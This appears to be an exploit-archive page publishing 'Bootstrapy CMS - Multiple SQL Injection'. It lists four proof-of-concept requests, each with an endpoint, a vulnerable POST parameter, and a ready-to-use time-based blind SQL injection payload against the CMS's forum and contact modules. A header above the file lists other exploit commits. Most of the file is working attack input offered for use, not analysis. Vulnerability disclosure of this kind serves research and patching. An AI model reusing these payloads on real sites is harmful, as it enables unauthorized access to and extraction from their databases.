34e4bc14d9
8 changes to exploits/shellcodes Canarytokens 2019-03-01 - Detection Bypass DVD X Player 5.5.3 - '.plf' Buffer Overflow Netartmedia Vlog System - 'email' SQL Injection Rails 5.2.1 - Arbitrary File Content Disclosure The Company Business Website CMS - Multiple Vulnerabilities uHotelBooking System - 'system_page' SQL Injection Placeto CMS Alpha v4 - 'page' SQL Injection Bootstrapy CMS - Multiple SQL Injection
36 lines
No EOL
1.2 KiB
Text
36 lines
No EOL
1.2 KiB
Text
# Exploit Title: Bootstrapy CMS - Multiple SQL Injection
|
|
# Date: 21.03.2019
|
|
# Exploit Author: Ahmet Ümit BAYRAM
|
|
# Vendor Homepage: http://bootstrapy.com
|
|
# Demo Site: http://bootstrapy.net/demo/
|
|
# Version: Lastest
|
|
# Tested on: Kali Linux
|
|
# CVE: N/A
|
|
|
|
----- PoC 1: SQLi -----
|
|
|
|
Request: http://localhost/[PATH]/modules/forums/forum-thread.php
|
|
Vulnerable Parameter: thread_id (POST)
|
|
Attack Patten:
|
|
search=&thread_id=0'XOR(if(now()=sysdate()%2Csleep(5)%2C0))XOR'Z
|
|
|
|
----- PoC 2: SQLi -----
|
|
|
|
Request: http://localhost/[PATH]/modules/pages/contact-submit.php
|
|
Vulnerable Parameter: subject (POST)
|
|
Attack Pattern:
|
|
email=sample%40email.tst&message=20&name=wUmrLVWz&subject=0'XOR(if(now()=sysdate()%2Csleep(5)%2C0))XOR'Z&submit=
|
|
|
|
----- PoC 3 - SQLi -----
|
|
|
|
Request: http://localhost/[PATH]/modules/forums/post-new-submit.php
|
|
Vulnerable Parameter: post-id
|
|
Attack Pattern:
|
|
body=1&post-id=0'XOR(if(now()=sysdate()%2Csleep(5)%2C0))XOR'Z"e=1&submit=&thread-id=1
|
|
|
|
----- PoC 4 - SQLi -----
|
|
|
|
Request: http://localhost/[PATH]/modules/forums/post-new-submit.php
|
|
Vulnerable Parameter: thread-id (POST)
|
|
Attack Pattern:
|
|
quote=0&reply=1&submit=&thread-id=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z |